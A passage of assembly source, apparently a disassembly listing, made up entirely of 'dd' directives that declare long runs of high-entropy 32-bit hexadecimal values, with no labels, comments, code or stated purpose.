dd 7EA14192h, 0DD84F9C7h, 800C28ACh, 150653F5h, 590EECE0h
dd 36E9E630h, 1C6F55F1h, 80E8D39Dh, 78090577h, 9136DD25h
dd 923F7762h, 0FEE25303h, 6BDD1EA9h, 50D9D743h, 2CB301DDh
dd 0CB80D3F6h, 0B83B206Bh, 0D843043Dh, 0E9D8061Dh, 772B2DAFh
dd 8397271Dh, 90E6B07Fh, 1DAB95C7h, 5F84A37Fh, 19B9BC01h
dd 0C8884112h, 2EF3C193h, 37E70C21h, 1F517417h, 52DBB0FEh
dd 2D071EBAh, 5CF02243h, 0AC5D73C9h, 0B78DC6C8h, 0CE17B8E9h
dd 31181345h, 0D787AC6Ch, 5397BF26h, 0C669C357h, 0F1FB4FD4h
dd 23E87F6Fh, 0D9E95DF0h, 0F6121163h, 0D08CBAD4h, 5AD016Ch
dd 77B840D3h, 9952DC2Dh, 4DB8285Ah, 0F92C0741h, 0C6542C00h
dd 64BF583Dh, 0AB4F9004h, 0E9D8C729h, 4445B057h, 75F0C303h
dd 0AF2A1B3Dh, 66B782F2h, 4D60F505h, 92B7B1AAh, 88C8408Fh
dd 6445286Fh, 55D140D5h, 4EF16817h, 2FE9C36Ch, 85FB89ECh
dd 9B8E762h, 0F3010B7Dh, 9230088Fh, 7E85681Eh, 6E807126h
dd 0B2B80EBh, 0DF89FC75h, 0BBFE809Eh, 0F0685181h, 1B8150B2h
dd 47818E9h, 8AA25DC3h, 7042761Ah, 3C013A2Dh, 39052F42h
dd 54D27D5Eh, 0C37909BDh, 524E5C6Eh, 4DFD7629h, 2EC0262Fh
dd 0C1FA06B6h, 0A2D5547h, 2D97B5D0h, 20D22507h, 959E617Fh
dd 0C0F28100h, 0F77046AFh, 5816A0B0h, 0DF4E3166h, 0E9BA28FAh
dd 5A071E49h, 8C50BA9Eh, 0FA7FCBB7h, 0F121406h, 128CE6Fh
dd 595C1B20h, 40F01B4Ch, 2939662Ah, 1E0BC8FBh, 912D6AD0h
dd 1FC0289h, 7D56FEF3h, 7BBD0455h, 0B04EE978h, 9106BB23h
dd 293D255Dh, 5B0C3CFAh, 0CE785A4Bh, 50EDF9F7h, 664A8E9h
dd 0C9F05A0Ah, 0D38A5A8Ch, 0DD844CFh, 0C009BD7Eh, 2981F2A5h
dd 0C89A8252h, 94FE0977h, 5E3C105h, 2EB48781h, 0FF6F0B05h
dd 43051F56h, 82010888h, 0A8D76F3Ah, 379FF8DBh, 6A1760B7h
dd 766055E7h, 0E1242FBDh, 0AFD6A45h, 90108244h, 171C6808h
dd 23051834h, 0D2FF015Eh, 4350FEh, 0BA02B8FAh, 607F8938h
dd 9CD529B4h, 5E0A91D8h
dd 90D54AA9h, 0E9D3685Bh, 65953B55h, 0CA8BE050h, 3E601BB4h
dd 95032169h, 727A34Ch, 0FFE11A54h, 4A46CE00h, 0B8050936h
dd 5927EE9Eh, 0A9AB2884h, 0B2E24E01h, 681D98B4h, 0A945A432h
dd 1B48D54Dh, 409E5F1Bh, 0EC1CCD62h, 5A4527F3h, 74984716h
dd 0DDB98D25h, 6DC6F410h, 0F82F0827h, 9CA29D5Ah, 82B27170h
dd 0E3742109h, 0BEA6CC2Fh, 59A1024Dh, 4C573F13h, 48EE0151h
dd 5122FD7Eh, 2112857h, 0CCE93BAFh, 12390A67h, 58070103h
dd 2AC7D3EEh, 427943BAh, 91DF4735h, 3D0C8BCBh, 2B35975Bh
dd 0F353E112h, 64E83DEEh, 0F19F55B4h, 8B567267h, 0A71909h
dd 5968CF45h, 987BB547h, 0CE288839h, 0BFFF177Fh, 3D299B99h
dd 0BF98026Ch, 5E6E1E0Fh, 0CDB34610h, 0B7E304ADh, 0B2785F31h
dd 585E0FF2h, 0F0560B48h, 0AD4D48A3h, 0C32B7D00h, 93F18101h
dd 79A8541Dh, 6DF5C983h, 0E9B20070h, 69FD30C2h, 10C1D9F7h
dd 49261BFFh, 0BF25A231h, 0D33C0E21h, 46B304A5h, 63F2BEE8h
dd 0FFCA2B17h, 3CD5E68Dh, 147712C2h, 5F12213Ch, 0E7D30CADh
dd 981C0FEFh, 0D16B85DCh, 17B91DC0h, 5FB11D0Bh, 45135E89h
dd 3F05F134h, 0A8A46EADh, 0C8E610h, 1D4006BDh, 0E5ED8174h
dd 35F86D18h, 6589700Ch, 0A0EB4C7Dh, 0E355AE89h, 0F442BF78h
dd 5F2F3297h, 3A752A29h, 508F42FBh, 0BC9EBEB5h, 7989C4A5h
dd 0FF01CBC5h, 78A3E930h, 266CFD2Fh, 0B6006E66h, 69685389h
dd 9B4BB59h, 544C977h, 9945DCB7h, 2A294581h, 18C7250h
dd 1F0D4C65h, 13B5FE9h, 28A2B655h, 629361F0h, 0F4C52FF8h
dd 8560A5A7h, 1063C1Eh, 16A0E934h, 0A2B20524h, 0BB47F280h
dd 3E2CF181h, 2A68D8C0h, 0C505F20h, 0DDF6B6B5h, 0C000C5C0h
dd 0C68003EEh, 5FA2E9B3h, 7CA48A56h, 0A6FA9AA0h, 0D45D10C9h
dd 2F755215h, 0EC710A01h, 8E7626CFh, 525302D4h, 9B549ABAh
dd 0B6AF0DDh, 3EC77BD1h, 76880D80h, 0EB12B47h, 48AABD09h
dd 99C18D7Bh, 0AC8A3F0Eh, 16970FF0h, 5D10D254h, 73D71AEAh
dd 398469A5h, 0C55E0E97h, 8FAEB322h, 0B08E5C80h, 0A4FCE95Fh
dd 7558BD82h, 0B73E20FAh, 0C52E9647h, 0F86B1292h, 0AE749704h
dd 97777E58h, 40FF3275h, 627120B5h, 111F07Ch, 35F6CA48h
dd 6062A896h, 4FF6C77h, 0AB499EC2h, 78C7F034h, 1FF91416h
dd 0A005A00Eh, 3503F22Ch, 0A72E0ED5h, 25089C3h, 0E3CA74EBh
dd 0B2E85D16h, 8BC00B36h, 0B92466CDh, 6B79B703h, 0BD6BF501h
dd 57E5E1Eh, 525356BAh, 0AF43BB92h, 384F5E9h, 5A31C743h
dd 0D7F21040h, 82B7F62h, 0CB3C7951h, 40B98984h, 94D7E9F0h
dd 0D2030091h, 0D9019E69h, 5B004C19h, 0D1BFE268h, 0A758AF8Ch
dd 0DB2511Ch, 0C0044D24h, 8F8302E2h, 0DF919FC5h, 0A9ADAF6h
dd 585D06C4h, 29B198ACh, 0A5DF24C9h, 0A632A9DAh, 75EAA313h
dd 89808029h, 75D469AEh, 0D80AF7F8h, 81463860h, 7743EC03h
dd 0DB180423h, 15D584Fh, 301633D6h, 0C53CF400h, 47850A4Bh
dd 42B299D5h, 0DFC9EFA5h, 2201956Eh, 9B925D1Eh, 5EE9F075h
dd 6BEED96Ah, 0C15E4CADh, 5B3488h, 24352FBAh, 2CD17DDh
dd 24785D62h, 494E6100h, 20FAC110h, 6F5FA065h, 0B06BF5B1h
dd 135EF06Dh, 688289E2h, 4CD70197h, 35CD0063h, 12B81883h
dd 255EF0FCh, 6F8ADDE0h, 8D8092DAh, 2D477816h, 0AB0B8969h
dd 5A8D6CFCh, 0F41EBDAh, 4D803E3Bh, 0BE5E247Bh, 705331A0h
dd 0BE5AE0A0h, 0ECF7C5CFh, 4402B1EAh, 1720AACh, 0F70B1576h
dd 997470DFh, 0D78856C0h, 7C0595Ah, 0CF8006E7h, 69EF6772h
dd 0F12085D0h, 8A69DA7h, 1585DF2h, 1C5126CFh, 0EBEB888Eh
dd 6EC52A72h, 0EDC6780Ah, 4C9B36C3h, 1E010EB7h, 2918781Bh
dd 23A144FBh, 22045F08h, 9332AFFh, 0BB1412EBh, 7C068CF3h
dd 28480C63h, 842E6D03h, 0C7EB016Bh, 5D05082Ah, 0E6D2ABE9h
dd 5A1FD405h, 222D8EF6h, 0E2D0212Bh, 9F80F837h, 30DD8409h
dd 295BEFBh, 686B0B46h, 0BB560143h, 9C790049h, 97EE8C1Ah
dd 0D6F999E3h, 3EF1FD5Ah, 5C05FE8h, 4A4233DDh, 0B95E972h
dd 5BF916D7h, 254B801h, 486636B3h, 0FC935F5Fh, 0C5D588A2h
dd 25D6A0DCh, 71D9158Ah, 12732E8Eh, 48F8A6BFh, 298A04A8h
dd 94BF2757h, 579616EDh, 9367F914h, 0BD31D2BCh, 293F55Eh
dd 1E61DD5Ch, 8AD3B47h, 0CFF570Bh, 9F0A2622h, 0FAEC2904h
dd 6A53EA01h, 0D9016C1Ah, 2F716151h, 0F2B18F07h, 48CF4272h
dd 0BEEC37Bh, 5E557275h, 0F268B510h, 33317BE5h, 8004987Eh
dd 0B414DD3Bh, 8033687Bh, 0B85246E2h, 5A3432F8h, 95CFC1Fh
dd 0FD6F408Bh, 25E9D007h, 786CEB3Bh, 52CC2F68h, 0BA40B29Ah
dd 0C527E94Bh, 53FCD4BEh, 54469FD8h, 67C720F3h, 72140F13h
dd 23945E01h, 0F544D6F5h, 0FD4B19ACh, 25AE9455h, 3D18E68Eh
dd 0F9965453h, 0B30BAACh, 0A19C5CE7h, 0EB72D6A8h, 0BBF96913h
dd 0CA31E4C8h, 80E3B319h, 5133F181h, 609D2E7Bh, 0B587A777h
dd 1F4F67E6h, 3EBE5400h, 97095404h, 0AC804165h, 2156E842h
dd 0D15D39EEh, 284C1BAh, 0ACC375E9h, 27C4C789h, 5365D709h
dd 7D5C0D32h, 0E98B1FF9h, 0D68850B7h, 0CE9BEBFDh, 174C3062h
dd 0BBAC4305h, 0C652DE07h, 0A4CFD32Fh, 5F598A25h, 3FEABA03h
dd 0EFB31BD3h, 619064A8h, 9BE0FCF9h, 19F6F09h, 727B5DF9h
dd 65D6E961h, 44CB32Eh, 6163149Eh, 7C539EC2h, 67062EEh
dd 2417276h, 0E2DB6C2Ah, 0BD8BF040h, 0F55CE5FAh, 0EE3219EAh
dd 9B3153AEh, 0ADE8DAC9h, 2D14C180h, 0F8707668h, 2C98F829h
dd 0B550882h, 4094D178h, 8DE95655h, 4FF59749h, 0B76604EEh
dd 9EFDAB72h, 8663C5h, 1A4DB755h, 6E1D050Ch, 54AD78DAh
dd 7B468859h, 7C9B6804h, 7210E9E3h, 35660725h, 2D412733h
dd 29E1AD47h, 0DF33FC2Fh, 180F8E64h, 0EF31C73Fh, 0D69F9C8Dh
dd 7368805Fh, 0DDF3E964h, 91AE597h, 96D57259h, 0F33360C6h
dd 0CA03B6BDh, 0EB891012h, 0FCDEEEB2h, 6F836E0Bh, 0E6089FF4h
dd 985D1228h, 955E649Ch, 944E4BF4h, 9401F6Fh, 0C21AEE09h
dd 623185DAh, 54014738h, 0B06DFC6Ah, 0C071FAE9h, 9E4CFD5h
dd 0CC06867h, 2DC17F93h, 0FCEF5AD1h, 2B2F025Fh, 0E1D729E3h
dd 87018D69h, 3115DCF7h, 0E8EFCBC0h, 0C128B444h, 630F880Ch
dd 4A82C65Ah, 0D19A7BC1h, 40CE9AFDh, 6F77417Eh, 2A0C286Fh
dd 0E802F653h, 295E171Fh, 0A71AE5F2h, 3F2D0DC8h, 68226105h
dd 0D8AE07C8h, 4D3BAE18h, 9DD150BAh, 44B32602h, 544520E9h
dd 1BF76003h, 0D59838D4h, 2BE40B1Dh, 0BBA8E906h, 0C68380A3h
dd 2F912E46h, 0A9D82F30h, 89A21632h, 8F967DF8h, 8A2A6E9Ah
dd 0F707B3FCh, 26524308h, 853A55B3h, 69EEA7BBh, 83015E4h
dd 31093697h, 1A41F6C2h, 2F72B01h, 0C1D9ABBh, 1F0067F4h
dd 590D76EEh, 793C5D4Ah, 0B471325h, 8E09FA3Eh, 2FCE2FCh
dd 0C24C5097h, 0AC275710h, 4DF65912h, 0BC3F246Fh, 0A85F80B2h
dd 0A2FFF477h, 70C710CAh, 0ABEB6812h, 0B885C8E3h, 0CE420081h
dd 21758F2Fh, 125BDD30h, 206454CBh, 81002926h, 4CD2DEF5h
dd 9595E9C4h, 0AFBAAB85h, 9C96845Eh, 0E85ED5AFh, 0BDF1509Ch
dd 229B1A1Dh, 3E73E580h, 0F9830AE0h, 0D5066328h, 0C438B52h
dd 771CBD0Ch, 3CED3832h, 792E7E17h, 0D5E906DCh, 594FB483h
dd 0BE9770F2h, 3D6A2329h, 0A8796039h, 4F375182h, 0C082C8C6h
dd 3020B298h, 0EA44D69Fh, 6FD7A05Eh, 75EB7E84h, 1E528255h
dd 0EA0730D5h, 5C9DCCh
dd 8AC087C9h, 0E4455509h, 0C61D71A6h, 2508F193h, 25F2884h
dd 193373D5h, 98E8FA31h, 393F3FA1h, 6BE28260h, 0E0612E0Ah
dd 626A842Fh, 1D79C07Ch, 68DE98FFh, 0E93764F5h, 0DBE886h
dd 75BF57ADh, 0F87CDC36h, 0AC2A4B2Ch, 79B4CF54h, 8B295BC2h
dd 0B776FB8Bh, 5217F927h, 317264D5h, 0BB4C927Ch, 79E2C05Dh
dd 30BCB0C1h, 3A307FBDh, 3A0AF4CEh, 0B7A6E972h, 0F25D96EFh
dd 78A5C903h, 0D5C18106h, 4B6C54E1h, 0BFAF175Ah, 6E3EF968h
dd 0F7C9396Fh, 0EE88E623h, 2B873491h, 3C8D405Fh, 0C5471C6Dh
dd 0E764F58Bh, 28BE660Fh, 16048474h, 129639A8h, 0FFF3ABCCh
dd 1C946D1h, 84721B56h, 0B8007A24h, 6DC24538h, 8500E5B7h
dd 83F43A08h, 7890EF1Bh, 0E91267A2h, 0F5AFFD87h, 18F36B36h
dd 821BE134h, 38A63606h, 20559B9h, 0BFE3E953h, 0B6509056h
dd 0DE6E25ADh, 6051C71Bh, 29DF605Ah, 633DE925h, 68C2DCACh
dd 4A560B96h, 0E1441182h, 0CF2277D0h, 0BAD5623Ah, 700285EAh
dd 4049A3C2h, 0F779D1Fh, 0EBE93F19h, 0CECACCF6h, 16E0BE88h
dd 0E05ACB21h, 0F1163FC1h, 55090DC8h, 82FFFE5Eh, 6894131Eh
dd 0E22DB345h, 0B3B1C1C6h, 0CB5E417Fh, 877C877Fh, 46495638h
dd 0F0EAD133h, 0E61B1EF2h, 17E925B4h, 8B27F87Ah, 712E764Ah
dd 0BCF388Ch, 2F9B652h, 696D855h, 0AE5A4258h, 0F9BABB24h
dd 2D5E3F95h, 5C770052h, 95307231h, 0CD6E63D9h, 1061A42h
dd 0F46AF40Eh, 0D4031248h, 96E0AE29h, 3F6D41CAh, 0F71342B6h
dd 5C6DFF84h, 6CF0899h, 7E0DADF9h, 0F5EA4D64h, 15B92A56h
dd 0C8A0A34Fh, 2C28A802h, 49089A59h, 2880837Fh, 1FDE9D5h
dd 27CBE7FEh, 0DA7397FEh, 0B46758B2h, 36D98CB7h, 0B15A51CDh
dd 0B95E99ECh, 2DAA9BB3h, 95A20BF4h, 0BED6170Eh, 0F6A18C2h
dd 0BAB06BC4h, 0E3607E8Ah, 7080E955h, 49CA56B5h, 0E19F8266h
dd 0B878FDDFh, 9E0F8D6h, 77127068h, 5D2F5B3h, 891CF17Fh
dd 6C7FFDBBh, 0A3C5B70Dh, 6044FE9Ah, 0B96CDAEDh, 6279AD06h
dd 82212F58h, 790A4A82h, 3659EB6Ah, 0E966F4ADh, 7F25EADCh
dd 5C13C567h, 9713CCAAh, 0EC49254Fh, 66B0DD28h, 133E316Eh
dd 0A6E6922Eh, 6C37A4FAh, 0C841CC41h, 779744D2h, 0C02413FEh
dd 53122CCDh, 3D43B738h, 0A0407F8h, 80CED028h, 0E9ACB252h
dd 85C3FF7Bh, 0AFF55EA9h, 5EB73062h, 9C712DC1h, 4ED7F6EBh
dd 0B45D0E09h, 6368109Bh, 99E90C0Fh, 448C156Ah, 6FF7762Eh
dd 17845BFCh, 7B5108Dh, 30B5A1Bh, 39F101B4h, 1D60E82Fh
dd 0F46DC280h, 0C5880B03h, 0BB97D484h, 69307529h, 0F1F3C33Dh
dd 24640D7Dh, 590EA566h, 0E329C309h, 2189EF8Bh, 16249C7Dh
dd 0A83C91E9h, 4A68E054h, 0C5E9B6Bh, 2D4C7E96h, 0D8633309h
dd 8088D077h, 4B456807h, 0ADF88C53h, 2AE14C0Fh, 0FD3F89E9h
dd 0E5C9D61Bh, 5C4E89F2h, 147D609h, 6824BC6h, 78FCAF96h
dd 0BF4C8EA9h, 5DA748D6h, 0E926F93Eh, 598B1A35h, 5CEC0957h
dd 0D8712D98h, 0C522C490h, 68C83105h, 1E8D088Dh, 0F2D72757h
dd 0BD08D6F6h, 2D31F1F0h, 58C14F71h, 8CD46432h, 0E7DAEC1Ah
dd 6AB1C55Dh, 132F108Ah, 2C1C6B3h, 0EF81B42Eh, 0C7598DC3h
dd 9AB13FE1h, 0D31D892Fh, 9BD280C5h, 0A7B8151Ch, 51AC5925h
dd 483C30E3h, 35587757h, 2E0270BFh, 0E6C17E76h, 98DE7802h
dd 720505C5h, 1467BF6h, 8A4B6CC7h, 9DD13B74h, 0BEF853C3h
dd 0B2FCB563h, 1CC10820h, 370A0768h, 983618A0h, 0E9C0889Ch
dd 3BB79AD0h, 3F93F729h, 2BCBAAE6h, 265DAF5Eh, 9FBF452h
dd 7214B8Fh, 9601C180h, 0A321A610h, 590306F9h, 0FB9E84ECh
dd 0D0D37FE2h, 2959D15Dh, 0CD1DA2B8h, 395701E5h, 2DE960B0h
dd 58517A10h, 5F93B4C8h, 0A32E1D2Dh, 5C68C13Dh, 0FA2142A6h
dd 3B51D869h, 0B4F56693h, 405498E2h, 3700B87Dh, 0D7B126Eh
dd 3A5475EDh, 0C7FCE932h, 30DFCEFDh, 0F03060F6h, 685A7BC1h
dd 467491Bh, 2F43A58Dh, 7F89E080h, 0B0415AF9h, 559AADE0h
dd 5359CB00h, 0BA4DC3BBh, 0A35AB76Bh, 5051074h, 5BDE29ABh
dd 2D07C0ADh, 993F4069h, 20BC805Ch, 229C98B9h, 6AA9DB42h
dd 0AEB23AD8h, 7202950Bh, 41F1E380h, 0F0C7774h, 3E7606E9h
dd 79E409BBh, 2300269Fh, 128E2EE2h, 18042F90h, 893373F1h
dd 0CE05B7E8h, 47D4AAE9h, 324EC28Dh, 0A0680AEAh, 203A6866h
dd 0BF42504Ah, 84190148h, 810093DAh, 0C834CEEAh, 28AE284Fh
dd 0A341729Bh, 1F876260h, 9F280378h, 0A10756EAh, 11DA7F7Bh
dd 9A17BF43h, 70472140h, 3DFC1936h, 4F4D9C8Eh, 0A58DBE04h
dd 7005A5A8h, 747E13DEh, 0ED3B0496h, 0F831049Ch, 5E715EB4h
dd 0BBC0B4DEh, 9D65A26Ah, 0D534E309h, 59DF7F92h, 0EA976F64h
dd 2112392Fh, 387EA79Eh, 695FD050h, 9C444A5Ah, 0ECAFD6EDh
dd 324E86F6h, 41E0971Dh, 9630217Ah, 19C40C3Eh, 0EC545BD0h
dd 8C52851h, 14BA5228h, 0B707D09Dh, 0C7815DC5h, 2B214FE0h
dd 217942Eh, 0FAE95D08h, 554A5158h, 939E70B2h, 0C006FDBDh
dd 4DFB4086h, 0C6549D01h, 5D120C68h, 0AC5A33ACh, 0C8B6E13Ah
dd 802D886Ah, 0D368D841h, 0A680503h, 0C5C7719Fh, 3E07142Dh
dd 412187B4h, 65DB1Ah, 7FEA7AFFh, 5CEB599Fh, 0FB099394h
dd 9250B117h, 80895A2h, 799E08C2h, 8A823C26h, 403BFA29h
dd 487006BEh, 0B5781861h, 14352A00h, 655A25C3h, 40BA3EA0h
dd 68B75A26h, 0B474EF11h, 17D74950h, 0E95B83E7h, 6400EAA4h
dd 0B35316B5h, 73C38091h, 0A7F33B73h, 28A4EB00h, 0F08DE9DDh
dd 0BB40BA94h, 4C4611E1h, 2506463Ah, 0C424D1Bh, 6D2EFD0Fh
dd 47E38069h, 767D2A49h, 0B3044FC1h, 40D6BEAh, 0B7A28436h
dd 48A4FD4Bh, 352F0948h, 0C14900CCh, 80444E54h, 62000EE9h
dd 0C8896929h, 3822D59h, 53F4A0Ch, 35F7EB11h, 5E930401h
dd 0D425BA1Dh, 7CDA8409h, 565B0214h, 225879E9h, 0C1F85C4Fh
dd 2EEB6809h, 0C263925Eh, 9AFF856Eh, 0FE1F1483h, 66ED87E2h
dd 0E1AA0583h, 402BB790h, 33BA1A63h, 0C2B87B35h, 742D660Fh
dd 0E9C56192h, 0F16D4756h, 39FDFC07h, 0B0D6B43Ah, 0A45A6848h
dd 41CD9BD8h, 3707898h, 0B27E3CEEh, 0CA32EA11h, 2B1C7FB5h
dd 0B753B801h, 5BFA206Ch, 458BA879h, 8BBD3960h, 70237918h
dd 2527D9CCh, 58546120h, 0D2EF2C13h, 0B66290F9h, 61FFACC2h
dd 0C4380939h, 0F3CC5C2Fh, 90883071h, 7B098155h, 0EAF6D897h
dd 7C5FFFBh, 0FC651E79h, 0C509FCB4h, 2488863Eh, 0D0283D6Eh
dd 0FEAD5F13h, 0BA687570h, 6E709408h, 27D76A87h, 0BA8E75E9h
dd 0E45A6EF3h, 3862DE47h, 7765F987h, 0F0B02ACEh, 9D4D9Ah
dd 1AD04718h, 0CEF20081h, 970C907h, 0DFA05AD6h, 73130ACDh
dd 8AB2152h, 5F259EBAh, 63E90433h, 0E5B87BE7h, 0A0D4E5B7h
dd 2DB25BB3h, 12EDC904h, 0D5EE184Ah, 2E5E0577h, 0EC36814Dh
dd 0A8FD3BC5h, 628FA4Ah, 75B232E9h, 7857C66Fh, 0BB0CD202h
dd 7FC00E97h, 0C17B4D48h, 9F027C0Ch, 2CEE2B69h, 537ABE19h
dd 6AB2A4Ch, 41260929h, 495E31F0h, 62012314h, 69CD0FB2h
dd 0CCE98219h, 0D1BF0114h, 2E2CD92Bh, 0D332A3B2h, 20DDEE10h
dd 1F707E95h, 51CA9856h, 0EAD50705h, 961495F8h, 0E05DC40Ch
dd 0D3995105h, 0F4685260h, 42C4054Bh, 28592E9h, 0D943B263h
dd 12E0B8E3h, 0E75F839Bh, 0F8F421BAh, 0B1580398h, 12C29310h
dd 0C14E12FDh, 0FECEDD73h, 86608B85h, 20EC645Dh, 8F829BA9h
dd 6870185Dh, 0E9764080h
dd 9764222Ah, 154AD5F6h, 0BD2D7B3h, 0C6FDD7D2h, 0A2C69F36h
dd 295F2DFEh, 0A2E19289h, 4DCC1F6Ah, 200A648Eh, 9B92D377h
dd 0BCF6813h, 1A3E08CCh, 6806C861h, 290AEA74h, 920296DFh
dd 434DB445h, 9016FF48h, 2B25041Eh, 0B524CF4Bh, 7AF0F873h
dd 835475C8h, 508E8C1h, 2E8B1CF8h, 19CA214Ch, 0BE93F640h
dd 47E8B57Fh, 0AA27D261h, 587A054h, 218615Bh, 5730197Dh
dd 0C7DCC17Dh, 13420846h, 0BCF26343h, 577B270Fh, 5FB84813h
dd 44956695h, 0AFEF5AABh, 0B0C2CF64h, 2B3A97Ch, 0C681E273h
dd 0F1C1BF18h, 0DE84404Ah, 42EFDDEDh, 0ADE83EEDh, 215A1B68h
dd 6FB61C20h, 306A17B4h, 0B2300BF4h, 97B96CE0h, 19370F12h
dd 27E1EB41h, 0C33EC32Bh, 0F5F19DFEh, 0BBBC7B7Ch, 0CACBE9B0h
dd 0C327F1B7h, 0DD91FB87h, 0FF4F3045h, 82FC03D3h, 0B80DBB17h
dd 1D4ADE6Ah, 0C981AF11h, 527B795Dh, 0A5C1909Fh, 9BDAE240h
dd 2AF00683h, 0B36B296Dh, 0FBE0C105h, 1DE4EC8Eh, 299640B1h
dd 7420AFEDh, 7BCD46FFh, 9E498DA4h, 51490CBDh, 49EA3C55h
dd 7662B0F3h, 0EC5BB034h, 918C92BDh, 0D6139A92h, 0D3BF025Eh
dd 60D52234h, 2710C1EDh, 0A2DE955Dh, 4877425h, 0EF92210Bh
dd 0C8BD8913h, 822BE912h, 42E14376h, 0FDCBFC02h, 1CF47114h
dd 5EE82FFAh, 295FEBD0h, 12D95131h, 0BE1D80F1h, 0D00B07B9h
dd 0DEF769h, 0AD8BACC1h, 80849A83h, 307D2CEFh, 0E30C09B2h
dd 0F3F38960h, 4C62C7F8h, 0C1070391h, 256533DDh, 0E98449B8h
dd 681CD061h, 18B74836h, 2E78BF9Bh, 5AA15FF4h, 0D6009F5Ah
dd 0B94FC474h, 510FDC32h, 0B06BCF65h, 2F7B9246h, 3DA40B5Eh
dd 275975Eh, 89B8500Ch, 5CB7860Fh, 0D85E5A76h, 32DFA56h
dd 22FD7102h, 9D6990FFh, 47B810F0h, 0BC27547Eh, 94227DFAh
dd 63916F16h, 6B0F3CAh, 5616F387h, 9EA25E52h, 592C074Eh
dd 99F25F5Bh, 15C92957h, 4909AC5h, 1381C3Ah, 95C732ACh
dd 0B4052045h, 5A2707FEh, 61FE8E89h, 513E199Ch, 7FAF0C80h
dd 2E92D31h, 84364C5Dh, 8904A275h, 0BD4E81E1h, 53F5108Ch
dd 79562F28h, 0ED013652h, 9D203C25h, 2530EA31h, 3A0D8087h
dd 5134A4Ch, 0B40BAA2Dh, 2B77E5FFh, 0C4688BD0h, 2736927Dh
dd 31DA7113h, 14BC8290h, 0B576DA27h, 0E45DAD27h, 5812AE16h
dd 322CB0E3h, 4466973Ch, 0B9E4A79Fh, 22B6041Fh, 0CBE14902h
dd 0AA7269F8h, 0C1B662CDh, 2DBFBB37h, 0EB823C1Ah, 6902A850h
dd 291C6247h, 0B29ADD74h, 8D660C0Bh, 4ED6E94Ch, 78682A20h
dd 20672C46h, 0A1F91840h, 0EA1EB652h, 4DCAD6F6h, 263D3DC2h
dd 0EE83DC7Ch, 0FE472888h, 2D7390Ch, 8D7C7A2Fh, 0CD008A0h
dd 685A2514h, 2F68556Ah, 686C03A3h, 646E1C31h, 0A76E4B75h
dd 0C86470D6h, 31AAA27Eh, 24C0AAAAh, 0DB2A930h, 58D37C9Fh
dd 0C04B685Ch, 0FAD71BB8h, 0A846960h, 205F9855h, 0D006AEDh
dd 50F64CC5h, 1EB13F05h, 0AC012C09h, 454E1601h, 983E1ECCh
dd 803B4D28h, 0F03080F6h, 2C110C5Ah, 0C5882E6Eh, 175A394Eh
dd 8B45A32Dh, 0BF0478A5h, 866271DEh, 0F2000960h, 4A084233h
dd 3E1C113h, 7EDD3FBh, 83B406AEh, 7A4689E9h, 0F0C601FDh
dd 89422BD9h, 0EA7C30F7h, 4E3A500Ch, 10140C3Fh, 459BE31h
dd 1C83279Fh, 40EAE8AFh, 7A31E908h, 4E89FB90h, 0F816CD3Ah
dd 54B460AEh, 37D7062h, 0AEFCD621h, 49FC0999h, 35F3975Ch
dd 684C60AFh, 0C13962A0h, 0E1FC5045h, 0E120D4Ah, 4ADB985h
dd 4CC15F5Eh, 0C01AE11Fh, 8005E207h, 0D700B7EAh, 7CFA885Ah
dd 0F807F25Bh, 0F0974AC2h, 0E4BF6FE9h, 3F2E038Ah, 0DA290976h
dd 2C08F441h, 9DDB163Ch, 53523045h, 71C05D80h, 6D6D580Eh
dd 0F18E4201h, 649CE992h, 8B0E05A6h, 0A270B966h, 0E0831C5Dh
dd 0AA98B730h, 7708A291h, 0FC8803ABh, 2AFCF7FAh, 37AAEF97h
dd 0E872D20Dh, 6820F3FAh, 8122DC4Bh, 31476234h, 0A4D7C9FAh
dd 87144B08h, 95EA01DCh, 0E9130A2Dh, 948DE145h, 0B4EF4F2Fh
dd 68FF90F2h, 0B027619h, 56F483BAh, 0B688E10Dh, 502AAA3Ah
dd 3980E909h, 0AFE1B057h, 0F23DC0F3h, 1CD270C9h, 1099894Ch
dd 694882E5h, 38A9BD19h, 0B02E7066h, 0C1302727h, 5965818Fh
dd 0E9F0786Bh, 94D204Dh, 5712D768h, 0E9272A96h, 0A89B7640h
dd 9D3DF045h, 6B5E5F1h, 499247BDh, 0A4F458A9h, 2ABAE961h
dd 0CCD0219Dh, 0E1958478h, 25484E09h, 29BE000Ah, 0B7180162h
dd 8B752409h, 251454B3h, 7CE6B4C0h, 909BE697h, 0A90E623Dh
dd 9AF6761Eh, 0A0D57CAFh, 763AE0B8h, 9E92C06h, 6DF7A5D6h
dd 4BB12072h, 46444466h, 1BA138Fh, 0AA2BBDE0h, 5590F102h
dd 1251F883h, 0AA3754Eh, 0CBC0DB2Dh, 8D70C380h, 25C4E8E7h
dd 0EC95792h, 0F61E2950h, 6850D042h, 0E59D4070h, 8F0B2D94h
dd 12527307h, 67546D0h, 970F5756h, 0EE95BF70h, 0DE4228Ah
dd 5F8B4338h, 83B162FBh, 1F206801h, 935429B4h, 12E15D16h
dd 4010633Ah, 621FAAF9h, 1B892E33h, 4B7C5373h, 6701B155h
dd 4B764A32h, 0BD62007Fh, 18B158F5h, 1A5BB807h, 33F2FDE3h
dd 29C7D50Eh, 507CD425h, 0FEABAAA9h, 41C09E01h, 3558730Fh
dd 0BE5D0640h, 422E1320h, 5010FE1Ah, 7E7705A1h, 18AA65CAh
dd 0EB810629h, 9BE90BA0h, 76598995h, 0E868D08Bh, 0E4F8654Ah
dd 7359C2B4h, 46DAC11Bh, 0C8FE0854h, 8C13C320h, 1B166030h
dd 888397B5h, 6B3A851Ch, 3E9F22D9h, 62B2EC41h, 84351870h
dd 207EAF00h, 0C3A61A1h, 30A046FEh, 5E63EA02h, 0BACA88BCh
dd 0FBC4785Ah, 0A360136Fh, 31BFD70Ch, 7F5CE79Eh, 303A297Dh
dd 0E1F8E933h, 0C08F7CBFh, 0C9BBB9B8h, 0E9E3E050h, 26447C0Ch
dd 0B46D0C29h, 22712F8Bh, 8CC25244h, 41335EA9h, 6C3E4468h
dd 6C90DE0Fh, 4834BE03h, 0E2D1339Eh, 6F113658h, 33178F8Bh
dd 3B2C21AFh, 64AF2AC2h, 0D246E221h, 4EC1D5A0h, 7FA7B46Dh
dd 1E8182Eh, 27A9F700h, 528938BCh, 0D218F2FBh, 0FDBE815Dh
dd 293DB074h, 65E44AEEh, 0BF04D65Eh, 0DF529AC3h, 2E04C908h
dd 686E8C6Ch, 96779538h, 7035A0Bh, 0B5442FBAh, 6F4003ECh
dd 0A3704A27h, 15281341h, 3226AEBDh, 580917DAh, 0C8266518h
